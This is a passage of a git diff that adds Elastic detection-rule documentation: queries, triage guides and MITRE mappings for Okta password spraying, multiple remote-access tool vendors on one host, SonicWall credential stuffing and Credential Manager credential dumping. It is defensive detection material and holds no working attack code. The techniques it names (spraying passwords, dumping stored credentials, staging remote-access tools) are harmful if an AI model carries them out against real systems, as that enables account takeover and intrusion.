`okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- Review the `okta.security_context.is_proxy` field to determine if the device is a proxy. + - If the device is a proxy, this may indicate that a user is using a proxy to access multiple accounts for password spraying. +- With the list of `okta.actor.alternate_id` values, review `event.outcome` results to determine if the authentication was successful. + - If the authentication was successful for any user, pivoting to `event.action` values for those users may provide additional context. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons. + - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying. +- Examine the `okta.outcome.result` field to determine if the authentication was successful. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. + + +*False positive analysis:* + +- A user may have legitimately started a session via a proxy for security or privacy reasons. +- Users may share an endpoint related to work or personal use in which separate Okta accounts are used. + - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons. + - Shared systems such as Kiosks and conference room computers may be used by multiple users. + - Shared working spaces may have a single endpoint that is used by multiple users. + + +*Response and remediation:* + +- Review the profile of the users involved in this action to determine if proxy usage may be expected. +- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule. + - This will prevent future occurrences of this event for this device from triggering the rule. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-okta* +| where + data_stream.dataset == "okta.system" and + (event.action like "user.authentication.*" or event.action == "user.session.start") and + okta.debug_context.debug_data.dt_hash != "-" and + okta.outcome.reason == "INVALID_CREDENTIALS" +| keep + event.action, + okta.debug_context.debug_data.dt_hash, + okta.actor.id, + okta.actor.alternate_id, + okta.outcome.reason +| stats + Esql.okta_actor_id_count_distinct = count_distinct(okta.actor.id) + by + okta.debug_context.debug_data.dt_hash, + okta.actor.alternate_id +| where + Esql.okta_actor_id_count_distinct > 20 +| sort + Esql.okta_actor_id_count_distinct desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-remote-management-tool-vendors-on-same-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-remote-management-tool-vendors-on-same-host.asciidoc new file mode 100644 index 0000000000..fa85ec8805 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-remote-management-tool-vendors-on-same-host.asciidoc @@ -0,0 +1,303 @@ +[[prebuilt-rule-8-19-34-multiple-remote-management-tool-vendors-on-same-host]] +=== Multiple Remote Management Tool Vendors on Same Host + +Identifies a Windows host where two or more distinct remote monitoring and management (RMM) or remote-access tool vendors are observed starting processes within the same eight-minute window. Legitimate MSP environments may run multiple tools, but this pattern can also indicate compromise, shadow IT, or attacker staging of redundant access. Processes are mapped to a single vendor label so multiple binaries from the same vendor do not inflate the count. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/ +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a +* https://lolrmm.io/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Windows Security Event Logs +* Data Source: Winlogbeat +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Remote Management Tool Abuse +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Remote Management Tool Vendors on Same Host* + + +This rule aggregates process start events by `host.id` and host name within the rule's nine-minute lookback window. Data can come from Elastic Defend, Sysmon, Winlogbeat, Windows Security / forwarded events, Microsoft Defender XDR, SentinelOne, or CrowdStrike FDR—where ECS process fields are populated. Each known RMM-related process name maps to one **vendor** label (e.g. TeamViewer, AnyDesk, ScreenConnect). If **two or more different vendor labels** appear within the same lookback window, the rule signals. + + +*Possible investigation steps* + + +- Open **Esql.vendors_seen** and **Esql.processes_executable_values** on the alert to see which tools fired in the window. +- Confirm whether the host is an MSP-managed jump box, helpdesk workstation, or lab where multiple RMM stacks are expected. +- For servers or standard user endpoints, treat as higher risk: review install source, code signatures, and recent logons. +- Correlate with other alerts (ingress tool transfer, suspicious scripting, new persistence) on the same `host.id`. +- Check asset inventory and change tickets for approved RMM software. + + +*False positive analysis* + + +- **MSP / IT tooling**: A technician machine with two approved agents (e.g. RMM + remote support) may match. Tune with host or organizational unit exceptions, or raise the vendor threshold if your environment standardizes on a known pair. +- **Vendor rebrands or bundles**: Rare overlaps during migrations can briefly show two vendors; validate timeline and packages. + + +*Response and remediation* + + +- If unauthorized or unexplained: isolate the host, inventory installed remote-access software, remove unapproved tools, and reset credentials that may have been exposed. Enforce a single approved RMM stack per asset class where possible. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-*, logs-crowdstrike.fdr*, logs-m365_defender.event-*, logs-sentinel_one_cloud_funnel.*, logs-system.security*, logs-windows.sysmon_operational-*, logs-windows.forwarded*, winlogbeat-* metadata _id, _version, _index +| where (host.os.type == "windows" or host.os.family == "windows") + and event.category == "process" + and event.type == "start" + and process.name is not null +| eval Esql.rmm_vendor = case( + process.name.caseless like "aa_v*.exe", "AnyAssist", + process.name.caseless == "acroniscyberprotectconnectagent.exe", "Acronis", + process.name.caseless == "aeroadmin.exe", "AeroAdmin", + process.name.caseless == "agentmon.exe", "ConnectWiseAutomate", + process.name.caseless == "anydesk.exe", "AnyDesk", + process.name.caseless == "apc_admin.exe", "APC", + process.name.caseless == "apc_host.exe", "APC", + process.name.caseless == "ateraagent.exe", "Atera", + process.name.caseless like "aweray_remote*.exe", "AweSun", + process.name.caseless == "awesun.exe", "AweSun", + process.name.caseless == "b4-service.exe", "BeyondTrust", + process.name.caseless == "basupsrvc.exe", "BeyondTrust", + process.name.caseless == "bomgar-scc.exe", "BeyondTrust", + process.name.caseless == "remote support.exe", "BeyondTrust", + process.name.caseless == "cagservice.exe", "BarracudaRMM", + process.name.caseless == "cloudracmd.exe", "CloudRadial", + process.name.caseless == "cloudrasd.exe", "CloudRadial", + process.name.caseless == "cloudraservice.exe", "CloudRadial", + process.name.caseless like "connectwisecontrol*.exe", "ScreenConnect", + process.name.caseless == "domotzagent.exe", "Domotz", + process.name.caseless == "domotz-windows-x64-10.exe", "Domotz", + process.name.caseless == "dwagsvc.exe", "DWService", + process.name.caseless == "dwrcc.exe", "DWService", + process.name.caseless == "dwrcs.exe", "DWService", + process.name.caseless == "dwrcst.exe", "DWService", + process.name.caseless like "fleetdeck_commander*.exe", "FleetDeck", + process.name.caseless == "g2aservice.exe", "GoTo", + process.name.caseless == "getscreen.exe", "GetScreen", + process.name.caseless == "gotoassistservice.exe", "GoTo", + process.name.caseless == "gotohttp.exe", "GoTo", + process.name.caseless == "gotoresolveprocesschecker.exe", "GoTo", + process.name.caseless == "gotoresolveremotecontrol.exe", "GoTo", + process.name.caseless == "gotoresolveservice.exe", "GoTo", + process.name.caseless == "gotoresolveterminal.exe", "GoTo", + process.name.caseless == "gotoresolveunattended.exe", "GoTo", + process.name.caseless == "helpwire.exe", "HelpWire", + process.name.caseless == "immyagent.exe", "ImmyBot", + process.name.caseless == "immybot.agent.ephemeral.exe", "ImmyBot", + process.name.caseless == "immyupdater.exe", "ImmyBot", + process.name.caseless == "imperoclientsvc.exe", "Impero", + process.name.caseless == "imperoserversvc.exe", "Impero", + process.name.caseless == "isllight.exe", "ISLOnline", + process.name.caseless == "isllightclient.exe", "ISLOnline", + process.name.caseless == "jumpcloud-agent.exe", "JumpCloud", + process.name.caseless == "komari.exe", "Komari", + process.name.caseless == "komari-agent.exe", "Komari", + process.name.caseless == "level.exe", "Level", + process.name.caseless == "lmi_rescue.exe", "LogMeIn", + process.name.caseless == "lmi_rescue_srv.exe", "LogMeIn", + process.name.caseless == "lmiignition.exe", "LogMeIn", + process.name.caseless == "logmein.exe", "LogMeIn", + process.name.caseless == "ltsvc.exe", "ConnectWiseAutomate", + process.name.caseless == "ltsvcmon.exe", "ConnectWiseAutomate", + process.name.caseless == "lttray.exe", "ConnectWiseAutomate", + process.name.caseless == "lunixar.exe", "Lunixar", + process.name.caseless == "lunixarremote.exe", "Lunixar", + process.name.caseless == "lunixarupdater.exe", "Lunixar", + process.name.caseless == "lvagent.exe", "Level", + process.name.caseless == "manageengine_remote_access_plus.exe", "ManageEngine", + process.name.caseless == "meshagent.exe", "MeshCentral", + process.name.caseless == "mikogo-service.exe", "Mikogo", + process.name.caseless == "nezha-agent.exe", "Nezha", + process.name.caseless == "ninjarmmagent.exe", "NinjaOne", + process.name.caseless == "ninjarmmagentpatcher.exe", "NinjaOne", + process.name.caseless == "ninjarmm-cli.exe", "NinjaOne", + process.name.caseless == "parsec.exe", "Parsec", + process.name.caseless == "pservice.exe", "Pulseway", + process.name.caseless == "quickassist.exe", "QuickAssist", + process.name.caseless == "r_server.exe", "Radmin", + process.name.caseless == "radmin.exe", "Radmin", + process.name.caseless == "radmin3.exe", "Radmin", + process.name.caseless == "rcengmgru.exe", "Rsupport", + process.name.caseless == "rcclient.exe", "RPCSuite", + process.name.caseless == "rcmgrsvc.exe", "Rsupport", + process.name.caseless == "rcservice.exe", "RPCSuite", + process.name.caseless == "remotedesktopmanager.exe", "Devolutions", + process.name.caseless == "remotely_agent.exe", "Remotely", + process.name.caseless == "remotely_desktop.exe", "Remotely", + process.name.caseless == "remotepc.exe", "RemotePC", + process.name.caseless == "remotepcdesktop.exe", "RemotePC", + process.name.caseless == "remotepcservice.exe", "RemotePC", + process.name.caseless == "remoteview.exe", "Rsupport", + process.name.caseless == "rfusclient.exe", "RemoteUtilities", + process.name.caseless == "rmm.agent.exe", "SuperOps", + process.name.caseless == "romserver.exe", "RealVNC", + process.name.caseless == "romviewer.exe", "RealVNC", + process.name.caseless == "rpcsuite.exe", "RPCSuite", + process.name.caseless == "rserver3.exe", "Radmin", + process.name.caseless == "rustdesk.exe", "RustDesk", + process.name.caseless == "rutserv.exe", "RemoteUtilities", + process.name.caseless == "rutview.exe", "RemoteUtilities", + process.name.caseless == "rvagent.exe", "Rsupport", + process.name.caseless == "rvagtray.exe", "Rsupport", + process.name.caseless == "saazapsc.exe", "Kaseya", + process.name.caseless like "screenconnect*.exe", "ScreenConnect", + process.name.caseless == "session_win.exe", "ZohoAssist", + process.name.caseless == "simplegatewayservice.exe", "SimpleHelp", + process.name.caseless == "simplehelpcustomer.exe", "SimpleHelp", + process.name.caseless == "smpcview.exe", "Splashtop", + process.name.caseless == "spclink.exe", "Splashtop", + process.name.caseless == "splashtop-streamer.exe", "Splashtop", + process.name.caseless == "splashtopsos.exe", "Splashtop", + process.name.caseless == "spsrv.exe", "Splashtop", + process.name.caseless == "sragent.exe", "Splashtop", + process.name.caseless == "srservice.exe", "Splashtop", + process.name.caseless == "srmanager.exe", "Splashtop", + process.name.caseless == "srserver.exe", "Splashtop", + process.name.caseless == "strwinclt.exe", "Splashtop", + process.name.caseless == "supremo.exe", "Supremo", + process.name.caseless == "supremoservice.exe", "Supremo", + process.name.caseless == "syncro.app.runner.exe", "Splashtop", + process.name.caseless == "syncro.installer.exe", "Splashtop", + process.name.caseless == "syncro.overmind.service.exe", "Splashtop", + process.name.caseless == "syncro.service.exe", "Splashtop", + process.name.caseless == "syncrolive.agent.exe", "Splashtop", + process.name.caseless == "syncrolive.agent.runner.exe", "Splashtop", + process.name.caseless == "syncrolive.service.exe", "Splashtop", + process.name.caseless == "tacticalrmm.exe", "TacticalRMM", + process.name.caseless == "tailscale.exe", "Tailscale", + process.name.caseless == "tailscaled.exe", "Tailscale", + process.name.caseless == "teamviewer.exe", "TeamViewer", + process.name.caseless == "teamviewer_desktop.exe", "TeamViewer", + process.name.caseless == "teamviewer_service.exe", "TeamViewer", + process.name.caseless == "tiagent.exe", "Tiflux", + process.name.caseless == "ticlientcore.exe", "Tiflux", + process.name.caseless == "todesk_service.exe", "ToDesk", + process.name.caseless == "toolsiq.exe", "ToolsIQ", + process.name.caseless == "tsclient.exe", "Techinline", + process.name.caseless == "tvn.exe", "TightVNC", + process.name.caseless == "tvnserver.exe", "TightVNC", + process.name.caseless == "tvnviewer.exe", "TightVNC", + process.name.caseless == "twingate.exe", "Twingate", + process.name.caseless like "ultravnc*.exe", "UltraVNC", + process.name.caseless like "ultraviewer*.exe", "UltraViewer", + process.name.caseless == "velociraptor.exe", "Velociraptor", + process.name.caseless == "vncserver.exe", "RealVNC", + process.name.caseless == "vncviewer.exe", "RealVNC", + process.name.caseless == "winvnc.exe", "RealVNC", + process.name.caseless == "winwvc.exe", "TightVNC", + process.name.caseless == "za_access.exe", "ZohoAssist", + process.name.caseless == "za_connect.exe", "ZohoAssist", + process.name.caseless == "zaservice.exe", "ZohoAssist", + process.name.caseless == "zmagent.exe", "ZohoAssist", + process.name.caseless == "zohomeeting.exe", "ZohoAssist", + process.name.caseless == "zohotray.exe", "ZohoAssist", + process.name.caseless == "zohours.exe", "ZohoAssist", + process.name.caseless == "zohoursservice.exe", "ZohoAssist", + "" + ) +| where Esql.rmm_vendor != "" and Esql.rmm_vendor is not NULL +| stats Esql.vendor_count = count_distinct(Esql.rmm_vendor), + Esql.vendors_seen = values(Esql.rmm_vendor), + Esql.processes_executable_values = values(process.executable), + Esql.first_seen = min(@timestamp), + Esql.last_seen = max(@timestamp) + by host.name, host.id +| where Esql.vendor_count >= 2 +| sort Esql.vendor_count desc +| keep host.id, host.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-sonicwall-login-failures-followed-by-successful-login.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-sonicwall-login-failures-followed-by-successful-login.asciidoc new file mode 100644 index 0000000000..78b50d05e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-sonicwall-login-failures-followed-by-successful-login.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-multiple-sonicwall-login-failures-followed-by-successful-login]] +=== Multiple SonicWall Login Failures Followed by Successful Login + +Identifies multiple failed SonicWall authentication attempts against several user accounts from one source IP, followed by a successful remote-access login from the same source to the same appliance. This may indicate successful password spraying, credential stuffing, or password guessing. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/sonicwall-credential-stuffing-campaign +* https://www.elastic.co/docs/reference/integrations/sonicwall_firewall +* https://www.sonicwall.com/support/knowledge-base/monitoring-sslvpn-user-logins/kA1VN0000000JQz0AM + +*Tags*: + +* Domain: Network +* Domain: Identity +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Tactic: Initial Access +* Data Source: SonicWall +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Data Source: SonicWall Firewall Logs + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple SonicWall Login Failures Followed by Successful Login* + + +This rule detects at least five failed authentication events affecting at least three users from one source IP to one SonicWall appliance, followed by at least one successful remote-access login after the failure activity began. The successful user does not have to be one of the failed users because credential attacks can test several credential pairs and shared source infrastructure can target multiple accounts. + +Failure event codes include incorrect or unknown credentials, RADIUS or LDAP authentication failures, and account lockouts. Successful event codes cover VPN- or WAN-zone administrator and remote-user logins, including SSL VPN. + + +*Possible investigation steps* + + +- Review `source.ip`, its ASN, geolocation, reputation, and prior activity. Determine whether it belongs to expected corporate proxy, VPN egress, managed service provider, jump-host, or monitoring infrastructure. +- Review `Esql.failed_user_names`, `Esql.successful_user_names`, `Esql.failed_logins`, `Esql.failed_user_count`, and `Esql.successful_logins`. Determine whether a successful user was also targeted by the failed attempts. +- Review `Esql.failure_event_codes` and `Esql.success_event_codes` to distinguish administrator, remote-user, SSL VPN, LDAP, RADIUS, and lockout activity. +- Examine the sequence between `Esql.first_failure`, `Esql.last_failure`, `Esql.first_success`, and `Esql.last_success`. Look for automated pacing, username enumeration, repeated attempts, or continued failures after the first successful login. +- Confirm whether MFA was required and completed for each successful authentication. +- Correlate successful VPN sessions with assigned tunnel IPs, internal authentication, DNS, network flow, and endpoint activity. For administrator logins, review subsequent SonicWall configuration changes. + + +*False positive analysis* + + +- Several users behind a shared public address may enter incorrect credentials while another user authenticates. +- Password rotation, expired cached credentials, LDAP or RADIUS issues, help-desk testing, and synthetic monitoring can generate failure-to-success patterns. +- Validate the source and workflow before adding an exception. Prefer an exception scoped by both source and appliance rather than excluding a user or source globally. + + +*Response and remediation* + + +- If unauthorized access is suspected, disable affected accounts, terminate active sessions, reset credentials, revoke tokens or keys, and enforce MFA. +- Block or restrict the source at the SonicWall appliance while investigating. +- Review configuration changes and downstream activity from successful VPN sessions. Isolate affected systems and begin incident response if post-authentication activity is identified. +- Preserve SonicWall authentication, VPN session, and configuration audit logs before making broad changes. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic **SonicWall Firewall** integration and SonicWall Enhanced Syslog authentication events. + +Configure the appliance to forward **Users > Authentication Access** and **Users > RADIUS Authentication** events. +Confirm that credential failure event codes `30`, `32`, `33`, `200`, `243`, `329`, `745`, `749`, and `1655`, and +successful remote-access event codes `235`, `236`, `237`, `238`, and `1080`, are collected. Verify that the integration +populates `data_stream.dataset`, `event.action`, `event.code`, `source.ip`, `user.name`, and either +`observer.serial_number` or a unique `observer.name`. + +If several customers share one Kibana space, ensure the appliance identity is unique per tenant so activity from +different customers is not aggregated together. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-sonicwall_firewall.log-* +| where + data_stream.dataset == "sonicwall_firewall.log" and + ( + ( + event.action == "login-failure" and + event.code in ("30", "32", "33", "200", "243", "329", "745", "749", "1655") + ) or ( + event.action == "login-success" and + event.code in ("235", "236", "237", "238", "1080") + ) + ) and + source.ip is not null and + user.name is not null and + (observer.serial_number is not null or observer.name is not null) +| eval + Esql.appliance_id = coalesce(observer.serial_number, observer.name), + Esql.is_failure = case(event.action == "login-failure", 1, 0), + Esql.is_success = case(event.action == "login-success", 1, 0), + Esql.failed_user = case(event.action == "login-failure", user.name, null), + Esql.successful_user = case(event.action == "login-success", user.name, null), + Esql.failure_event_code = case(event.action == "login-failure", event.code, null), + Esql.success_event_code = case(event.action == "login-success", event.code, null), + Esql.failure_timestamp = case(event.action == "login-failure", @timestamp, null), + Esql.success_timestamp = case(event.action == "login-success", @timestamp, null) +| stats + Esql.failed_logins = sum(Esql.is_failure), + Esql.successful_logins = sum(Esql.is_success), + Esql.failed_user_count = count_distinct(Esql.failed_user), + Esql.failed_user_names = values(Esql.failed_user), + Esql.successful_user_names = values(Esql.successful_user), + Esql.failure_event_codes = values(Esql.failure_event_code), + Esql.success_event_codes = values(Esql.success_event_code), + Esql.first_failure = min(Esql.failure_timestamp), + Esql.last_failure = max(Esql.failure_timestamp), + Esql.first_success = min(Esql.success_timestamp), + Esql.last_success = max(Esql.success_timestamp) + by Esql.appliance_id, source.ip +| where + Esql.failed_logins >= 5 and + Esql.failed_user_count >= 3 and + Esql.successful_logins >= 1 and + Esql.first_failure < Esql.last_success +| eval Esql.failure_to_success_seconds = date_diff("seconds", Esql.first_failure, Esql.last_success) +| sort Esql.failed_user_count desc, Esql.failed_logins desc +| keep source.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-vault-web-credentials-read.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-vault-web-credentials-read.asciidoc new file mode 100644 index 0000000000..69ace3b838 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-vault-web-credentials-read.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-multiple-vault-web-credentials-read]] +=== Multiple Vault Web Credentials Read + +Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5382 +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Vault Web Credentials Read* + + +Windows Credential Manager stores credentials for web logins, apps, and networks, facilitating seamless user access. Adversaries exploit this by extracting stored credentials, potentially aiding lateral movement within networks. The detection rule identifies suspicious activity by flagging consecutive credential reads from the same process, excluding benign actions like localhost access, thus highlighting potential credential dumping attempts. + + +*Possible investigation steps* + + +- Review the process associated with the flagged PID to determine if it is a legitimate application or potentially malicious. Check for known software or unusual executables. +- Investigate the source and destination of the web credentials read by examining the winlog.event_data.Resource field to identify any suspicious or unexpected URLs. +- Check the winlog.computer_name to identify the affected system and assess whether it is a high-value target or has been involved in previous suspicious activities. +- Analyze the timeline of events around the alert to identify any preceding or subsequent suspicious activities that may indicate a broader attack pattern. +- Verify the user context by examining the winlog.event_data.SubjectLogonId to ensure the activity was not performed by a privileged or administrative account without proper authorization. +- Cross-reference the event with other security logs or alerts to identify any correlated activities that might suggest a coordinated attack or compromise. + + +*False positive analysis* + + +- Localhost access is a common false positive since the rule excludes localhost reads. Ensure that any legitimate applications accessing credentials via localhost are properly whitelisted to prevent unnecessary alerts. +- Automated scripts or applications that frequently access web credentials for legitimate purposes may trigger the rule. Identify these processes and create exceptions for them to reduce noise. +- System maintenance or updates might involve credential reads that are benign. Coordinate with IT teams to schedule these activities and temporarily adjust the rule sensitivity or add exceptions during these periods. +- Security tools or monitoring software that perform regular checks on credential integrity could be flagged. Verify these tools and add them to an exception list if they are part of the organization's security infrastructure. +- User behavior such as frequent password changes or credential updates might cause alerts. Educate users on the impact of their actions and consider adjusting the rule to accommodate expected behavior patterns. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate the suspicious process identified by the process ID (pid) involved in the credential reads to stop further credential access. +- Conduct a thorough review of the affected system for any additional signs of compromise, such as unauthorized user accounts or scheduled tasks. +- Change passwords for any accounts that may have been exposed, focusing on those stored in the Windows Credential Manager. +- Implement network segmentation to limit access to critical systems and data, reducing the risk of lateral movement. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Enhance monitoring and logging on the affected system and similar endpoints to detect any future attempts at credential dumping or unauthorized access. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name, winlog.process.pid with maxspan=1s + + /* 2 consecutive vault reads from same pid for web creds */ + + [any where host.os.type == "windows" and event.code == "5382" and + (winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and + not winlog.event_data.SubjectLogonId : "0x3e7" and + not winlog.event_data.Resource : "http://localhost/"] + + [any where host.os.type == "windows" and event.code == "5382" and + (winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and + not winlog.event_data.SubjectLogonId : "0x3e7" and + not winlog.event_data.Resource : "http://localhost/"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Windows Credential Manager +** ID: T1555.004 +** Reference URL: https://attack.mitre.org/techniques/T1555/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-vulnerabilities-by-asset-via-wiz.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-vulnerabilities-by-asset-via-wiz.asciidoc new file mode 100644 index 0000000000..f281811d0c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-multiple-vulnerabilities-by-asset-via-wiz.asciidoc @@ -0,0 +1,114 @@ +[[prebuilt-rule-8-19-34-multiple-vulnerabilities-by-asset-via-wiz]] +=== Multiple Vulnerabilities by Asset via Wiz + +This alert identifies assets with an elevated number of vulnerabilities reported by Wiz, potentially indicating weak security posture, missed patching, or active exposure. The rule highlights assets with a high volume of distinct vulnerabilities, the presence of exploitable vulnerabilities, or a combination of multiple severities, helping prioritize assets that pose increased risk. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs 